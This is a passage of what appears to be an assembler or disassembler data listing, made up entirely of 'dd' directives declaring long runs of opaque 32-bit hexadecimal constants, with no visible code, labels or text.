		dd 62E9D527h, 7E009C9Ah, 0A2ACAB40h, 185D977Bh,	0F974EF1Ah
		dd 0D89A303Bh, 0D6280E00h, 8C7837EDh, 0F1D4002Ch, 0F39CC967h
		dd 0B900343Ch, 425771DCh, 0A6F97Fh, 1D7D5137h, 38DE646Bh
		dd 0ABF1FD00h, 0E2230F84h, 0DCC6092Ah, 500799D2h, 54F4082h
		dd 601AE0Ch, 1EDDE855h,	7CD295B4h, 571B882Ch, 84B06493h
		dd 9D0EE6EEh, 0C074D824h, 137568DBh, 37568F00h,	5C0D9377h
		dd 4F8227D3h, 0B208C405h, 378000F8h, 91A9C667h,	0D23A0036h
		dd 84B5D7C3h, 0A506B9ABh, 3C345FA3h, 8EE73919h,	0FCDDDC07h
		dd 3E163094h, 0F22C7F52h, 8800BC34h, 5E7465C0h,	0C4700E7h
		dd 642811DAh, 100029C2h, 8E92B308h, 40FC2791h, 819F1A72h
		dd 2A4442BCh, 588E2360h, 76AE2Dh, 60CED547h, 55A9394Eh
		dd 20E510B8h, 0C503CCCCh, 6732FA0Fh, 4FB6807Dh,	0B1581D68h
		dd 0BD8EBBFFh, 9F40D434h, 108ACD93h, 0CC97200h,	97EE3379h
		dd 240AE071h, 14D7548h,	0B4C59CCCh, 5DC460A2h, 0EF7F0613h
		dd 814204D2h, 361B85E0h, 19B76830h, 2903C217h, 90408072h
		dd 0FB5E9B76h, 9DF61FD9h, 63BB8C59h, 2971D250h,	8FEFCF04h
		dd 0CC039DCh, 587F73h, 0AAA8D1E6h, 0CB0BFFB0h, 806AF727h
		dd 0D9CAD44h, 8AFC00A4h, 71D2BD42h, 964E72A7h, 3C587880h
		dd 0CFBE0097h, 6B22368Ch, 6704DB45h, 2C860FB1h,	9F04E4F8h
		dd 887D57F6h, 61480A18h, 63DF00A0h, 9FC1C08Ch, 55B1001Dh
		dd 0D7C5C39Dh, 0E24CEE46h, 0B39903D8h, 0C14C0689h, 1BECACCCh
		dd 0D960006Ah, 0E9A9586Bh, 4A2C3687h, 740134C9h, 498403AEh
		dd 63B8476Ah, 29D3E1C5h, 17ED305Ch, 0F0E790Eh, 684AD7C2h
		dd 0B882B45Ah, 0D4CAE362h, 1280050h, 15D2B929h,	0EE0034B0h
		dd 0DCD59036h, 1E6CD98Bh, 0C3CD4DD8h, 0F0D00EDEh, 758D90E7h
		dd 9B486ABDh, 0D2D309A4h, 0F2ECD096h, 809896B7h, 1F773E66h
		dd 10021294h, 1C9C36B8h, 26B0407Bh, 11A8102Eh, 0B5E82888h
		dd 0E9A3FB00h, 0BB22C26Ch, 7F83004Ah, 34DC1EFAh, 3B0FAB5Fh
		dd 0C095F957h, 725C690Dh, 0F7190090h, 0B629A65Dh, 5602DE3Eh
		dd 4E9E4C09h, 17D45013h, 400A3151h, 30BE4664h, 0A05C85DFh
		dd 53F0050h, 5A7EC6C1h,	9CD42EB3h, 57728074h, 0C2E511B0h
		dd 0BA00CBE0h, 0A0B6AD33h, 9B490CEh, 4EFA8A44h,	206F0Ah
		dd 9519397Fh, 9A3B2A24h, 7A318054h, 0F1B2D1B6h,	254413F3h
		dd 6B4200DAh, 0A26AFBA5h, 0A4131EFCh, 65123C8Ah, 7FF704FAh
		dd 3F14FFF7h, 97AC0014h, 8D3B8387h, 90BF7C07h, 0D1440404h
		dd 0BCA46FFh, 886880A8h, 0A0A00E95h, 7DC15FA0h,	5ACE75C5h
		dd 13284FE3h, 24638100h, 4200568Eh, 4EB4EB83h, 1D0D6E7h
		dd 9D344AE9h, 6ADEBD5Ch, 3AE2C000h, 54AF64h, 35D0CCBAh
		dd 84ED0158h, 9F7F2509h, 0E4ABA9h, 9E36A78Fh, 0F5910026h
		dd 47EECEC3h, 3A485C9Ah, 8C2518h, 90D2D7B8h, 3D600F2h
		dd 80EED04Ah, 3F00B79Eh, 0F0E225E0h, 1C8AAB01h,	80E7657Fh
		dd 7666737Dh, 9D380483h, 0EC7100BBh, 5A8CC957h,	5958766Ch
		dd 0B63A98D1h, 2A89EF03h, 65AACED7h, 88B8DCE0h,	1890067Ch
		dd 873D8400h, 819473FDh, 39C78DCh, 0CAE56A6Bh, 28F1EC8Eh
		dd 0B46C2070h, 8F95833Eh, 541DD630h, 6DC600E4h,	0BF037212h
		dd 265400E0h, 5983820h,	0EC00819Fh, 50CB9321h, 0F47817AEh
		dd 242F27CFh, 2AEF240Eh, 49903DA0h, 2C1FC294h, 75977DF2h
		dd 7CD06C31h, 3CD58C20h, 6A032524h, 0CA98F0EFh,	0E8DDEF8h
		dd 3C2E3C2Ch, 62598F00h, 90AC4DB2h, 4FFC307Ch, 0ADC88969h
		dd 20039CB2h, 80F6CF14h, 6173C8EAh, 6B390CBDh, 0F8685A4Fh
		dd 0D009290h, 0FBAE7CB4h, 5839BEF5h, 0B68354FAh, 79B333D2h
		dd 0F14C86F0h, 52387360h, 2C1EA192h, 1240BACEh,	0A868003Fh
		dd 2E49F25h, 1F953Fh, 307EA212h, 642C29A3h, 0E2B9A145h
		dd 52100A8h, 0AD90FF56h, 0F0D8A3C0h, 0B85DD93Dh, 881F60C0h
		dd 6E8B2A8Eh, 0B47ED000h, 46E19518h, 9D960327h,	0F4CE3315h
		dd 84CAA4D0h, 0F7CAA00h, 0E68087C8h, 0F8BC3F78h, 82C27580h
		dd 71A597E3h, 6BE960Eh,	4BEFCF57h, 0DB5C2589h, 0A61D20ACh
		dd 0B4A401C1h, 30857F55h, 4000D610h, 3BFAA10Ch,	9E60223h
		dd 696F3982h, 0DFEE5080h, 0D8B0AF29h, 90545D28h, 0E609A094h
		dd 0F36C80A8h, 0A7E71Dh, 0DA68FF98h, 6392AB25h,	0C0664D25h
		dd 134108F4h, 277567E7h, 0A5A603E8h, 0C5C36DD1h, 0EA64CC89h
		dd 222DF300h, 76ADC444h, 8B2300A2h, 0F7872E55h,	0EA0149F0h
		dd 5D3CBBD3h, 0E02052FFh, 43DB2582h, 7E00FCE7h,	5B75FBD0h
		dd 90C8A98Fh, 39A7F430h, 0F400018Bh, 3166D965h,	480B8906h
		dd 5C63A126h, 14EB0032h, 6B35CE6Fh, 0F857BF14h,	0BA027298h
		dd 136E7E76h, 39DD40F6h, 38FF01A0h, 0DCE890B7h,	6749ECFAh
		dd 566C8400h, 0F1C8DEAFh, 0EF950392h, 2781CBCEh, 0BCC288D8h
		dd 17663E00h, 3807F2Bh,	0CFAE01B7h, 34FEA976h, 8C006A54h
		dd 5795C991h, 669B0412h, 0E0A33A24h, 635D642Ch,	781100BCh
		dd 5D6F7513h, 1ADF0FAAh, 0AF60FA90h, 10E75407h,	695E2800h
		dd 0D9755076h, 8DEC006Eh, 0B9A60E31h, 0C000481Bh, 0D75ECA3Eh
		dd 14D4E889h, 0BC8E8435h, 40F85A1Eh, 7A21D0A1h,	0C4003CBAh
		dd 0EC9693F2h, 1F532D1h, 35A96024h, 8EF4CFF0h, 12DF8790h
		dd 1A80DC87h, 354D7A8h,	0B3DC6B2Eh, 18006185h, 9A147EBAh
		dd 5171ACBBh, 0B4F8180Ah, 465420F4h, 5038526Dh,	0A5E530h
		dd 0D8D7ABEDh, 320A1772h, 0C528C301h, 98BF38Dh,	1180C2E5h
		dd 0BC1406A1h, 0A190F0E7h, 0BDBBA60Eh, 8A3A4FA9h, 50190CCCh
		dd 0F920E060h, 6F60A08Dh, 10373C0Ch, 140DE707h,	12004EC4h
		dd 8EB14B4Fh, 0C7180h, 66B4C82Fh, 0A35BA014h, 3FCF2B3Eh
		dd 0BA9980BCh, 0DF560842h, 0FCDA90A7h, 43F0095h, 0D62435C9h
		dd 0FB00CE70h, 8128E42Ah, 742617B9h, 3613F1Dh, 7249B581h
		dd 0C4578544h, 4001E724h, 5294E0A4h, 98C742F9h,	7C94CDCh
		dd 970625D4h, 0B931C0ADh, 660C683Bh, 0A90B5B8Ch, 99E1005Ch
		dd 0A0A76004h, 0D2006316h, 0D656294Ah, 0C032B6DCh, 89439829h
		dd 587B8C2Eh, 0E005F377h, 0E30E3D96h, 0A1A78C40h, 1DC8BEAh
		dd 7F144DE7h, 0D43B70E8h, 77F003E0h, 3B8EC3Ch, 6EEDC91Ch
		dd 0E5A310h, 0D1B5C008h, 26B989FBh, 9FB830C0h, 51697EFh
		dd 37156F67h, 0B2A98011h, 823A283Eh, 88080171h,	80FEB430h
		dd 0AD501080h, 52BA983h, 0A7983701h, 0B48BB3C8h, 0DA289080h
		dd 2E240BA1h, 7C71D400h, 87603330h, 0BDCB3DFBh,	0C8D10818h
		dd 0ED0043F0h, 0CF109FC3h, 13204F24h, 4026B219h, 0D8077F58h
		dd 66E4B105h, 58ECAC00h, 77590A0Dh, 7AFF02BEh, 0D9A8754Bh
		dd 0BF208C8Fh, 0CE0CA90Bh, 1431DD01h, 0AF9FD51Ch, 0FA8909F8h
		dd 0F3AD036Fh, 0F97AEB8h, 0E739C097h, 0F5008CBBh, 7E37CBF2h
		dd 63097A35h, 3610A1D9h
		dd 0CABBCFE0h, 9DEC571Fh, 4A67CEh, 5A2DB563h, 681160A7h
		dd 0B7A324AAh, 1D5C0A48h, 31407034h, 0DD08A0FDh, 95FA4C93h
		dd 7459E730h, 16607C19h, 76C76946h, 5E453E89h, 1CA59C80h
		dd 18E1C892h, 0B66A4B1Dh, 9771CDC1h, 4181E375h,	9DFB9B5h
		dd 0E11181F1h, 74AF3D7Dh, 9A136CCh, 7B1E3E57h, 69C67680h
		dd 92495B99h, 80673F30h, 631D42FEh, 54B1D9E5h, 0A6B8D3h
		dd 20B45015h, 6907DC6Fh, 5F00B7E6h, 9FAF74E7h, 0A11D5Eh
		dd 930DFEE2h, 0C75A3E97h, 0DC305F00h, 5928F8C8h, 0CFC300FAh
		dd 26D4B7DBh, 5A607B9Bh, 52DF9520h, 60A20045h, 0C114B1ABh
		dd 90CB0D0h, 68DAE951h,	0A9E40330h, 8C370DE2h, 3134DFF1h
		dd 0B740833Dh, 3CDBE950h, 3E1F5B29h, 0F2E2C7C0h, 0D02F877Ch
		dd 0BFD016BBh, 0FFA5CE07h, 0C1A541C2h, 49DF500Dh, 3F68DBE0h
		dd 50758597h, 3433022h,	0C0285A76h, 0BE05BA9h, 0B02949D3h
		dd 4800840Ah, 823B7842h, 20FACCh, 7E34535Ah, 0D0463581h
		dd 0EDA93162h, 0F8812FD8h, 0C00415EAh, 21DB83Ch, 5D003BF4h
		dd 8BD9C270h, 9F9A1DAAh, 3D2D009Dh, 0A486AC63h,	9BF88072h
		dd 1EA9F200h, 99A38E93h, 0F0A0F848h, 7C4374D0h,	7BB3F02Ah
		dd 67630097h, 699ADE83h, 9200B1E5h, 9EA22998h, 1ED982ADh
		dd 0C08CA78Dh, 0D69AA3A4h, 8E0F7D9Dh, 0DA5F246h, 30830876h
		dd 0A44CB391h, 0D9802EE7h, 372DACBEh, 0B6549603h, 68919048h
		dd 0F504C8C0h, 3F0B03F5h, 94E0B9FBh, 9C772F9Fh,	6BBFFE00h
		dd 548D298Ch, 5CF60Dh, 0EDE3E1E0h, 0C4A10668h, 0EFBD41C0h
		dd 0F8B28215h, 0E5480138h, 948B066Eh, 9A209D03h, 18D69D0Ah
		dd 0C300432Ch, 60973A51h, 0AF3D3307h, 2100E908h, 49C3B079h
		dd 38832792h, 107DAF1h,	8651B80Ah, 0F43AA85Fh, 2CBC0C85h
		dd 1BC908h, 659A2EAAh, 8F034F72h, 0E5088266h, 734D0021h
		dd 0F8E28C2Eh, 206129ADh, 42BDCB19h, 0EEFCE9EDh, 0DBCD01DEh
		dd 648985BBh, 980AC065h, 0D2B9EC00h, 0E70D53D3h, 5540039h
		dd 0F7A3BFFFh, 0D0143AAEh, 680F879h, 75BB897Ah,	50157438h
		dd 61B0F7h, 0D0C72909h,	651AC37Fh, 494394ACh, 0C0387F1h
		dd 0B68C3C42h, 23D24880h, 681A5ED0h, 7ADC79C0h,	0F9A6783h
		dd 94AF386h, 0F63346A0h, 8C5462B9h, 0F424E8ECh,	298A085Bh
		dd 1180B0F5h, 0CBB7844Ah, 0A4BC0795h, 0F05F303Ch, 0DC206F2Ah
		dd 0EC6ABE04h, 109721E1h, 0B08B3ED0h, 0A1BF60FAh, 9EB9EBB8h
		dd 0DA5C9CA8h, 0E409EF12h, 5B282005h, 30BDE432h, 8B112E47h
		dd 13884A65h, 2E744880h, 0B25841h, 62115DA6h, 0E8E0F6CDh
		dd 0C9C6F5E6h, 2A310EFDh, 0FAA8C2C3h, 9A1E28E0h, 0FBFA00D4h
		dd 0D9F7198Eh, 0D8A067F2h, 0D066E033h, 0C32AA921h, 53F27938h
		dd 0D83F2006h, 0C00835h, 94AE97F7h, 20693CF4h, 7D080D48h
		dd 9FE5ACA1h, 68C50FF0h, 7418BEAFh, 63BDE290h, 0E80720DBh
		dd 4C2E9900h, 0B9ACB7D7h, 0D2C80096h, 97F91BD9h, 5E0947F5h
		dd 309F039Bh, 11C3A10Ch, 8CA73A5Bh, 7B21EBh, 28AEC3BAh
		dd 0B2034AACh, 8A4019C0h, 219A36h, 0DC73E219h, 5BC49D49h
		dd 90B12A24h, 2689450Eh, 0E1F04CE3h, 0E8B83998h, 6F49112Bh
		dd 9F62002Ch, 4CECA1C7h, 83C41AE8h, 1000084Dh, 9BC54442h
		dd 2EF9BD02h, 4809D05Ch, 0A9EC2890h, 54E055CCh,	6A850088h
		dd 0DE8CA8DFh, 98049AE5h, 9FD07B2Eh, 466FE481h,	0B89084E3h
		dd 50B991EBh, 0EA86A0C4h, 11C93AFh, 65952EA1h, 8817183Ah
		dd 2E006E4Ah, 7553A287h, 143AAFACh, 0E81C1DF8h,	0D46FB515h
		dd 9EBF0300h, 0ECB3E760h, 90010E4Bh, 74B6DA61h,	0C8F08C47h
		dd 30723E9Ah, 5421030Bh, 44010455h, 6EE43A89h, 0F0204AB0h
		dd 48925Eh, 80FF3E36h, 51AEA66Fh, 99228E30h, 0A86939ECh
		dd 30C1EB9Ch, 9E0B5F2h,	63484F84h, 1932390h, 65992EA5h
		dd 8074339Ah, 842E724Eh, 0A3AC023Bh, 0C63D2394h, 0A0AD8840h
		dd 42548B1Eh, 0A24C3300h, 483E4493h, 0C96345B3h, 9CBF2D94h
		dd 0A40E9818h, 80995F07h, 0BBAA269Eh, 0E40A0389h, 0BF418503h
		dd 76A1A801h, 0A83EAE9Bh, 4238858h, 4A89B9FFh, 205C32E5h
		dd 0DC042C34h, 765EA05h, 0F00103AFh, 8695D46Bh,	22892830h
		dd 2048A26h, 1F58B07h, 434694C8h, 0C34402D4h, 47BF3A50h
		dd 0BD820088h, 21F5E2C3h, 271665F0h, 701C9267h,	0DD6607C6h
		dd 89980329h, 0BDA9F67Bh, 0BBABF800h, 4EC265D1h, 26D93D88h
		dd 0B31344D8h, 0F93421EEh, 5BC0429Fh, 174448C7h, 45CD6F60h
		dd 0C9EBCC04h, 3888D1E8h, 0AAD93089h, 0F0A3A871h, 0ECE88514h
		dd 1D2986B0h, 4A970049h, 6168AD46h, 80152AC5h, 0CD4A31Fh
		dd 290D8251h, 0E031042Fh, 0C1B425F0h, 586F3E70h, 44C50D8h
		dd 0D8522B00h, 43005811h, 290AFF35h, 0D50A48E0h, 9CB005DEh
		dd 53189EBCh, 0CE85247Ch, 0F813B802h, 6F604007h, 43570E2Fh
		dd 489EC5Ch, 0D00F28A0h, 0E83E3506h, 78C04815h,	0D83A7E06h
		dd 21022ADh, 9FA28988h,	0F8840990h, 0C3BB6041h,	0B73A2E55h
		dd 947D7020h, 54DBC304h, 0D48BAEBBh, 7CC093C8h,	12469FFCh
		dd 2089079Bh, 0F83B310h, 722CD0A6h, 29890C76h, 31000E54h
		dd 972EA380h, 448C6A65h, 0A00774E4h, 4A76E12Eh,	821A1F72h
		dd 60460188h, 99C0DD94h, 18117970h, 0D80B00CAh,	7958E3B9h
		dd 0EB53F857h, 0B11A02BCh, 684EE5B2h, 30065238h, 8D210FB5h
		dd 0E75009F0h, 33047C0h, 9DE8F9BEh, 895309D2h, 2C098870h
		dd 10240882h, 0B8C79618h, 0EA742C94h, 4B7B6408h, 80180EA9h
		dd 0ADAA594Ah, 0E8C0D0E9h, 0B1E03581h, 7A7894EBh, 6B0C72C8h
		dd 4154153Eh, 0FE7001FAh, 7CEC4E2Ch, 7E73E0A6h,	0F20172FEh
		dd 0CEBDFBFh, 94629AE8h, 0C0387F1h, 6C8600AAh, 0EED80A0Fh
		dd 3F1365DBh, 48420EA8h, 61D981DCh, 0C3F0A374h,	0A1F87C49h
		dd 95183980h, 9E47C734h, 20788062h, 0B0C7A2A8h,	2F1808E8h
		dd 0EC196B1Ah, 195C3DBAh, 3ABDC181h, 207F55E8h,	3B32D000h
		dd 303D6828h, 0AB14C799h, 0E0B49CECh, 7C546ACh,	68B974AAh
		dd 0DA602345h, 544070D2h, 31E4D035h, 8830ED48h,	0B581C9B8h
		dd 26926596h, 7102230h,	672E6F49h, 59B040D7h, 980A5CD1h
		dd 0B8B306ABh, 5EF9D680h, 7C83E97Ch, 0DB1E3A7Dh, 0EAECB284h
		dd 2FF4C1DFh, 6DBC3061h, 2492B37Ah, 98013E46h, 44ECAAC7h
		dd 887E0CE8h, 0C53F4143h, 17B45C8Fh, 4485489h, 4ACCA92h
		dd 0A2826598h, 0A97BC020h, 72B932Eh, 2647800Dh,	9E8F50A4h
		dd 9928EFC3h, 0E4169011h, 0CC203EEBh, 0B2FDD503h, 0E88F484Ch
		dd 8E186326h, 7CA3ED04h, 2EC53C30h, 7B2368h, 0E90A2267h
		dd 0D038D6FDh, 0EE950923h, 2C74874Fh, 393AB9DCh, 2D825DFFh
		dd 2ED1A2ECh, 59454C0h,	6AC0B554h, 8AC04E1Eh, 13311485h
		dd 0DF7B9100h, 3A6052A2h, 8F18732Bh, 8DEC513Eh,	0E946931Dh
		dd 509C4503h, 78084DA1h, 926CFF2Ch, 80B4DB6Fh, 56E2291Fh
		dd 0C11D4528h, 0FDAFE0F8h, 18BC7105h, 40C86281h, 705C4B82h
		dd 8C2F0940h, 8AC731Ch,	281787C0h, 6321971h, 9C5A5F1Ah
		dd 5B5CD87Eh, 37496E50h, 649D540Ah, 0BFB40684h,	404D34CCh
		dd 0A1486BE4h, 0D9EBC1E8h, 0F04176B9h, 7828283Dh, 18C7BBCh
		dd 266776A3h, 0DD079466h, 987982DCh, 58C2C1F6h,	44ED1FB8h
		dd 0A3752003h, 0A8E54831h, 0EC10C289h, 0A8B99AD6h, 0BF185979h
		dd 1C6CDD00h, 42CE0A6Bh, 5C4C9025h, 8E04A0BDh, 3BF769E3h
		dd 23AE123h, 53097CA5h
		dd 4245A41h, 0EF1851Ah,	2E30C44Eh, 387102Ch, 0C05A27C5h
		dd 3FF59A45h, 97FF4325h, 82AE9178h, 0C7BC1367h,	65881170h
		dd 2C20D3A0h, 234FC345h, 0E011473Ah, 0C3BE7F00h, 0A624B405h
		dd 0D3C01009h, 0DF340440h, 6829588Dh, 81BB661Ch, 8FA77649h
		dd 4F9A70E2h, 0B9877100h, 1A5F0742h, 4E99C77Dh,	0D8209003h
		dd 7400437Ch, 1B0E7BEh,	0B1E7ACFh, 268AEFA0h, 0D694FC82h
		dd 4A00E05Ah, 0CA33B5BAh, 7B71C565h, 0EB0D0090h, 0B6EF9972h
		dd 0D100BC80h, 0E4550B54h, 2695692Dh, 0C04838F4h, 0EC4CC78Ah
		dd 88EA9421h, 0AD00F406h, 2D3FC7D3h, 0B31400A5h, 5347AA1Ch
		dd 88480710h, 5F6C950h,	4DBD084h, 0DEBC77C0h, 471C7064h
		dd 44A63668h, 50082C13h, 0D1A3C2B0h, 0F4894C62h, 496DA206h
		dd 9319A260h, 1269F94h,	692E20F4h, 0FA9AB5B4h, 3A11D8C7h
		dd 46C7429Eh, 5494A4ECh, 0C79D9F03h, 0A86F74E6h, 48072F1Ch
		dd 0B384388Bh, 7498B3F6h, 7FD1312h, 0DC62D8C9h,	483010E2h
		dd 1CA900BAh, 0CFC99C9Ah, 60F65DDEh, 0D29860E3h, 0B4D6D01Ah
		dd 40C47181h, 0BCD8D68h, 0B6C83300h, 54A878F7h,	972D1C5Ch
		dd 743970D6h, 47FE34EDh, 0BFAC3C00h, 60513570h,	4FA8A1AFh
		dd 115E01CEh, 0E6845071h, 580363EAh, 0F24F7F64h, 80549BF5h
		dd 1379967h, 6ED1A446h,	26A20390h, 0C34002ACh, 479F3A5Ch
		dd 0B97E00FCh, 566FF8C3h, 4E0022F4h, 26434813h,	1FB315Bh
		dd 45D0D5BFh, 405AF706h, 0F37B8880h, 8FCA258h, 0A553E136h
		dd 13918C95h, 856AC880h, 0E03B88EFh, 925B397Dh,	102F93F6h
		dd 2F0A7E23h, 0D70BBC04h, 6F0C9153h, 8586D918h,	60784430h
		dd 0A045A05h, 573F0767h, 691A0784h, 96E778Ah, 0F0B20CC0h
		dd 1293413Ah, 0FCD0059Fh, 1E797BA2h, 3E01B36Eh,	0A36797Dh
		dd 0E629A4A6h, 0A0788088h, 96B59847h, 5DEA6790h, 0DA7FD4A0h
		dd 144DDF16h, 82FF9409h, 11F7EA78h, 1C831031h, 25C87816h
		dd 0C022EC6Ch, 401AD444h, 493526CCh, 0EA8C04AFh, 93007821h
		dd 43DE77C3h, 275EC88Ah, 8CA029B7h, 507C961Ch, 74B97300h
		dd 40A71325h, 30354E38h, 283BFC64h, 12C1EB09h, 29CE4BAh
		dd 6AF7366Fh, 40D881DCh, 0F0B8520Bh, 82F040ACh,	1FA54EF1h
		dd 0E8F0230h, 0D4C0F959h, 7F5C43A9h, 951E3E04h,	0C1EC8DE5h
		dd 7B92D785h, 2656C060h, 62349F47h, 7C72C101h, 225D6403h
		dd 4C96898Ah, 7B1E8769h, 7C6A800Ah, 0B75DA062h,	188E0100h
		dd 0BDEC7F96h, 0FA570E68h, 0D4C07BAAh, 0FDCD72C2h, 65F05B01h
		dd 9D1AF417h, 308D7CCh,	0AE14F22Ah, 9D321BDh, 4443CEC0h
		dd 1E0042F8h, 11E63849h, 0FCCF3F7Dh, 0A8B50073h, 0F2041D90h
		dd 9F01C118h, 0EBEFC2F8h, 55FCF69Eh, 7C133CACh,	0CEEE4600h
		dd 21E8C30Ah, 280A78B6h, 5C8ACC52h, 465EF49Bh, 69900EBh
		dd 4E5EB74Fh, 16F89EE8h, 10502F94h, 9EC9F76Fh, 0B0A0C882h
		dd 9CBA9820h, 0AC3F5CEBh, 18CCFDCAh, 29266930h,	0CCC1E967h
		dd 25A39560h, 0BE6D0043h, 42DBBF41h, 1213F1B4h,	0E49ABD50h
		dd 31DF7CC1h, 90FF026h,	64737F26h, 358C6D04h, 57ED58D1h
		dd 0B982F468h, 8101C382h, 1C2C960Fh, 0E68C77B8h, 3A79828h
		dd 0EA0A2B94h, 0C3B49976h, 0F886B79Ch, 0F261A316h, 180B1112h
		dd 15089D2Eh, 4C80B87Bh, 0C9D16A6Dh, 0DA697F04h, 2CC40112h
		dd 0D300D0B2h, 47747897h, 9900890Ch, 60EAC0EDh,	7A2F533Eh
		dd 0EBE51356h, 2644D03Bh, 0C304DBF1h, 978B031Ah, 0D88D54D0h
		dd 5E4F21h, 0C511980h, 92803C07h, 0EC8100AEh, 501A86A3h
		dd 0FE005CA8h, 0EF2047D5h, 4FEA7582h, 515842E4h, 1454A78Eh
		dd 16467Ch, 0CEABEB27h,	5A7D7C72h, 1DCC430Ch, 0D9887A80h
		dd 5225666Ah, 5B002582h, 644A1CB3h, 0A874A048h,	630CBD52h
		dd 9E32908h, 992C0841h,	0DFC1F880h, 7CB95644h, 0D3A13A10h
		dd 0FCD02CFDh, 42008C17h, 51C97EFEh, 600C681Eh,	12DE109h
		dd 1F00F378h, 0F239FE45h, 4DECE82Eh, 70A808Fh, 8CB4D76Dh
		dd 2D996C15h, 0B446DA00h, 0E6133C5Fh, 7AF517D3h, 989CC4EEh
		dd 0A24B06D8h, 0D9EC8C20h, 84DA4851h, 0A82F6702h, 0AC54FE5Bh
		dd 0D7C2BE01h, 2025DA5h, 0A9129458h, 8CCCAD3Eh,	0BB040856h
		dd 91CF6289h, 0FF24713Ah, 24460041h, 0C8EC10A4h, 665E2914h
		dd 864B138Ch, 0F88484CBh, 35EE30B9h, 0E1F60C98h, 2FC0E98Dh
		dd 0C525FF7Bh, 81104234h, 0FA7D39E9h, 0B8024039h, 95568D29h
		dd 0C17C30C3h, 21BB0630h, 0BA733A3h, 583DD335h,	0F8E2FCC5h
		dd 6B318B9h, 0AE8CC005h, 9460A93Eh, 23470452h, 5D11C289h
		dd 0FF374D00h, 0EC03708Ah, 7191F415h, 0B1CE14CCh, 0C3447EFCh
		dd 91F613C0h, 67C0C061h, 5494744Fh, 0D694B405h,	0CD26800h
		dd 6C675Dh, 0F63E74E9h,	63FC2BA0h, 4252DCF9h, 0AD47200h
		dd 0BFD0592Fh, 286D25F3h, 6CDCC68h, 27B77A00h, 9CB59619h
		dd 586F7DA0h, 0E0E840CEh, 0F2193E8Ch, 0E89796BDh, 296C92E7h
		dd 0E4FBA091h, 0B400BE18h, 9C33C1D5h, 0B2983Ah,	4E7E5214h
		dd 0E2B9A1AEh, 0A43E5D0Ch, 28C7F058h, 27346603h, 0C14F0B3h
		dd 8068BB3Ch, 53CBFC9Bh, 4AA1A21h, 35B69A8Dh, 0C958E2A0h
		dd 0F00871D3h, 48602E0h, 8F5718A3h, 1D85C291h, 8AE2B0F0h
		dd 12046CF7h, 94B2E7B3h, 93997E00h, 511C6646h, 29A06001h
		dd 0A92D9C44h, 0AF03188Ch, 0E903A461h, 3404C77Ah, 4F8AD85Dh
		dd 0A51000B2h, 2C891ED1h, 0EC085569h, 805C0C8Dh, 0EE04A9BBh
		dd 0CE007108h, 7879781h, 0BD1638h, 0DB18FE70h, 268AEE57h
		dd 89106803h, 7C5D5AD9h, 13E0CBA8h, 0E1E400E5h,	91EB5D60h
		dd 4D99BA0Fh, 2CC8820Ah, 5DF8981Fh, 8C2A0E06h, 3EDE243Bh
		dd 578B580h, 57659DD1h,	255F9304h, 0ECC55E80h, 4C8E8CF4h
		dd 444FF0D4h, 0CBA107C0h, 0D2780388h, 0B106233Eh, 0E4315324h
		dd 7C64DAh, 934C69D7h, 0AE46281Eh, 0FAD22A01h, 84BBAA11h
		dd 0FBBCCC6Ch, 0F000B943h, 91F10E58h, 30987BFEh, 0FC34ED5Eh
		dd 903BA887h, 3AD1C40h,	29100F77h, 4826E62Ch, 215E38C0h
		dd 680B810h, 1D5D92BDh,	18D57CCDh, 0E9ED0342h, 0D7002391h
		dd 304B5773h, 38A53FEh,	0C9364868h, 0C1CCF0F9h,	973A5624h
		dd 0BC2F86B0h, 1C00E523h, 40D78DFCh, 0F69F1E5Ch, 4E4BFD32h
		dd 1189EB84h, 28125078h, 64D358B8h, 0C601D094h,	0BEB02F4h
		dd 0C29FD0C3h, 9C4530C2h, 0C1605EE4h, 3E18D1FAh, 5139040Ch
		dd 6CFE79h, 15DB3498h, 6AA74C26h, 2720C490h, 0E035174Fh
		dd 977CC085h, 245E69E5h, 0BB829000h, 4A8F9D1Fh,	305C5489h
		dd 26005222h, 3067A744h, 6FE9792h, 9014B46Dh, 3832D036h
		dd 440B297Ch, 6D5500C4h, 0E1715019h, 1EE4F0A4h,	841C1A00h
		dd 75D47396h, 8508003Fh, 0EA12898Ah, 98B4095Ch,	1E9465Eh
		dd 0BC6CA89Bh, 0EC64DCDEh, 89040696h, 0F8774279h, 12111517h
		dd 79C8988Eh, 16B620CCh, 20F6B333h, 0B5A00760h,	0C10094A5h
		dd 2320AE9Ah, 4B7000C6h, 5DEBDB80h, 9D0A4388h, 0D8300BCDh
		dd 0B78D9581h, 0D8608E10h, 247801E6h, 0F1827CD4h, 0B8D85096h
		dd 0A0155C9Eh, 31D4043Fh, 0E0574028h, 0E4031C21h, 1B8A0CDh
		dd 886924E2h, 55C1E3Ch,	0C28EA4D8h, 45E08464h, 9128FF3h
		dd 8008E8A8h, 0B82C0193h, 811359F8h, 0DDCA8248h, 7872AEA3h
		dd 0C13059F2h, 1D9C0295h, 1AA5A184h, 0F53BD452h, 0FFA31408h
		dd 0BED10093h, 1DAE8021h, 0ECCE257Bh, 7E911097h, 311B5F80h
		dd 4A506B9Fh, 0F01AEC94h
		dd 0F1D853C1h, 18E5D1D0h, 550B0931h, 6804F825h,	8D514377h
		dd 66290034h, 0FB42144Fh, 0B916E7BFh, 0C84E80Eh, 1AB0E0A6h
		dd 0A309C99Dh, 6433EB7Ah, 7CB00254h, 0BF8351B9h, 0EC46B869h
		dd 0FF790FBBh, 0D09ACE2Bh, 9930870h, 7E1D8445h,	0B4F06404h
		dd 230C9430h, 9401F5A3h, 3BF30BE1h, 48E595C3h, 18F406C2h
		dd 0E0E11E9Dh, 7405908Fh, 0B0511D0Eh, 4E46A020h, 1DB894FCh
		dd 0E7FB1C1Ah, 0D1C558C8h, 0DE019FFEh, 9ACA5141h, 0B869C0EEh
		dd 0E20057ACh, 5D93843Fh, 20CAD8Ah, 0E5D83A77h,	85BEDE8h
		dd 7188769Dh, 0E43F84BEh, 5CBC4A61h, 50C85B16h,	0DB40084h
		dd 496C694Bh, 0FC001AC3h, 0AE1EDFBEh, 0EBB2B9Fh, 37D1CDB1h
		dd 2A9D1920h, 0D8B4AD8Dh, 85510F19h, 3F206B2Bh,	0E961000Fh
		dd 0F04775AEh, 0EDD90AFDh, 2548252h, 9E469E6h, 89E71440h
		dd 62977C25h, 70D85158h, 186B9FBh, 0CB87FF5h, 26AB3EAAh
		dd 45C0238h, 31B289A1h,	16A61693h, 1D014FFh, 0F17B1C74h
		dd 12B838A2h, 0EC03F69Dh, 0FE2CAFDCh, 42520491h, 0FC658208h
		dd 1871268h, 6449A0A2h,	87E82485h, 0B8EEC314h, 57957102h
